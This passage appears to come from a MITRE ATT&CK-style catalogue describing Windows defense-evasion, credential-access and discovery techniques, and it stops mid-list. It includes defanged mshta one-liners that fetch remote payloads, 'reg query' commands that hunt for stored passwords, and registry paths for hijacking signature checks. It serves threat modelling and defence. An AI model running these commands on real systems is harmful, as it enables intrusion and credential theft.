Adversaries may rename legitimate / system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for legitimate utilities adversaries are capable of abusing, including both built-in binaries and tools such as PSExec, AutoHotKey, and IronPython. It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on these utilities executing from non-standard paths.

T1036.005

Match Legitimate Resource Name or Location

Adversaries may match or approximate the name or location of legitimate files, Registry keys, or other resources when naming/placing them. This is done for the sake of evading defenses and observation.

T1036.007

Double File Extension

Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.

T1036.008

Masquerade File Type

Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`.

T1055

Process Injection

Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

T1055.001

Dynamic-link Library Injection

Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.

T1055.002

Portable Executable Injection

Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.

T1055.003

Process Injection: Thread Execution Hijacking

Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.

Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)

This is very similar to Process Hollowing but targets an existing process rather than creating a process in a suspended state.

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process.

T1055.004

Process Injection: Asynchronous Procedure Call

Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process.

APC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL).

A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process.

T1055.012

Process Hollowing

Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.

T1070

Indicator Removal

Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.

Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.

T1070.004

File Deletion

Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.

T1070.006

Timestomp

Adversaries may modify file time attributes to hide new files or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder and blend malicious files with legitimate files.

T1070.010

Relocate Malware

Once a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses. Copying malware payloads to new locations may also be combined with File Deletion to cleanup older artifacts.

T1112

Modify Registry

Adversaries may interact with the Windows Registry as part of a variety of other techniques to aid in defense evasion, persistence, and execution.

T1134

Access Token Manipulation

Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.

T1134.001

Access Token Manipulation: Token Impersonation/Theft

Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.

An adversary may perform Token Impersonation/Theft when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.

When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally Create Process with Token using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. Token Impersonation/Theft is also distinct from Make and Impersonate Token in that it refers to duplicating an existing token, rather than creating a new one.

T1134.002

Access Token Manipulation: Create Process with Token

Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)

Creating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via Token Impersonation/Theft or created via Make and Impersonate Token before being used to create a process.

While this technique is distinct from Token Impersonation/Theft, the techniques can be used in conjunction where a token is duplicated and then used to create a new process.

T1134.003

Access Token Manipulation: Make and Impersonate Token

Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.

This behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.

T1140

Deobfuscate/Decode Files or Information

Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.

T1197

BITS Jobs

Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

The interface to create and manage BITS jobs is accessible through PowerShell and the BITSAdmin tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)

Adversaries may abuse BITS to download (e.g. Ingress Tool Transfer), execute, and even clean up after running malicious code (e.g. Indicator Removal). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)

BITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol.(Citation: CTU BITS Malware June 2016)

T1205

Traffic Signaling

Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. Port Knocking), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.

T1218.003

System Binary Proxy Execution: CMSTP

Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.

Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to Regsvr32 / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.

CMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)

T1218.005

System Binary Proxy Execution: Mshta

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)

Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))

They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta

Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)

T1218.007

Msiexec

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi). The Msiexec.exe binary may also be digitally signed by Microsoft.

T1218.011

Rundll32

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).

T1218.014

MMC

Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt. MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.

T1222.001

Windows File and Directory Permissions Modification

Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files. File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

T1497.001

System Checks

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.

T1497.002

User Activity Based Checks

Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.

T1497.003

Time Based Evasion

Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.

T1518

Software Discovery

Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to Exploitation for Privilege Escalation.

T1542.003

Bootkit

Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

T1543.003

Create or Modify System Process: Windows Service

Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.

Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.

Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via Native API functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as "Bring Your Own Vulnerable Driver" (BYOVD)) as part of Exploitation for Privilege Escalation.(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)

Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution. To make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component).

T1548

Abuse Elevation Control Mechanism

Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.

T1548.002

Bypass User Account Control

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.

T1553.003

Subvert Trust Controls: SIP and Trust Provider Hijacking

Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)

Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)

Similar to Code Signing, adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)

* Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).
* Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.
* Modifying the DLL and Function Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
* **Note:** The above hijacks are also possible without modifying the Registry via DLL Search Order Hijacking.

Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)

T1562.001

Disable or Modify Tools

Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.

T1562.004

Disable or Modify System Firewall

Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.

T1562.006

Impair Defenses: Indicator Blocking

An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as PowerShell or Windows Management Instrumentation.

For example, adversaries may modify the `File` value in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging)

ETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the Registry to make alterations.

In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.

In Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors (Citation: LemonDuck).

T1564.001

Hidden Files and Directories

Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).

T1564.003

Hidden Window

Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.

T1564.004

Hide Artifacts: NTFS File Attributes

Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)

Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)

T1620

Reflective Code Loading

Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., Shared Modules).

T1622

Debugger Evasion

Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.

T1003.001

LSASS Memory

Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement using Use Alternate Authentication Material.

T1003.002

Security Account Manager

Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.

T1003.004

LSA Secrets

Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts. LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets. LSA secrets can also be dumped from memory.

T1003.005

Cached Domain Credentials

Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.

T1056.001

Keylogging

Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.

T1539

Steal Web Session Cookie

An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.

T1552.002

Unsecured Credentials: Credentials in Registry

Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.

Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)

* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s
* Current User Hive: reg query HKCU /f password /t REG_SZ /s

T1552.008

Chat Messages

Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.

T1555.003

Credentials from Web Browsers

Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.

T1555.004

Windows Credential Manager

Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).

T1007

System Service Discovery

Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.

T1010

Application Window Discovery

Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used. For example, information about application windows could be used identify potential data to collect as well as identifying security tooling (Security Software Discovery) to evade.

T1012

Query Registry

Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.

T1016

System Network Configuration Discovery

Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.

Adversaries may also leverage a Network Device CLI on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. show ip route, show ip interface).(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion )

Adversaries may use the information from System Network Configuration Discovery during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.

T1016.002

Wi-Fi Discovery

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of Account Discovery, Remote System Discovery, and other discovery or Credential Access activity to support both ongoing and future campaigns.

T1018

Remote System Discovery

Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or net view using Net.

Adversaries may also analyze data from local host files (ex: C:\Windows\System32\Drivers\etc\hosts or /etc/hosts) or other passive means (such as local Arp cache entries) in order to discover the presence of remote systems in an environment.

Adversaries may also target discovery of network infrastructure as well as leverage Network Device CLI commands on network devices to gather detailed information about systems within a network (e.g. show cdp neighbors, show arp).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021)

T1033

System Owner/User Discovery

Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

T1046

Network Service Discovery

Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port, vulnerability, and/or wordlist scans using tools that are brought onto a system.

T1049

System Network Connections Discovery

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

T1057

Process Discovery

Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

T1069.001

Permission Groups Discovery: Local Groups

Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.

Commands such as net localgroup of the Net utility, dscl . -list /Groups on macOS, and groups on Linux can list local groups.

T1082

System Information Discovery

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

T1083

File and Directory Discovery

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Native API. Adversaries may also leverage a Network Device CLI on network devices to gather file and directory information (e.g. dir, show flash, and/or nvram).(Citation: US-CERT-TA18-106A)

T1087.001

Account Discovery: Local Account

Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.

Commands such as net user and net localgroup of the Net utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts.

T1087.002

Domain Account

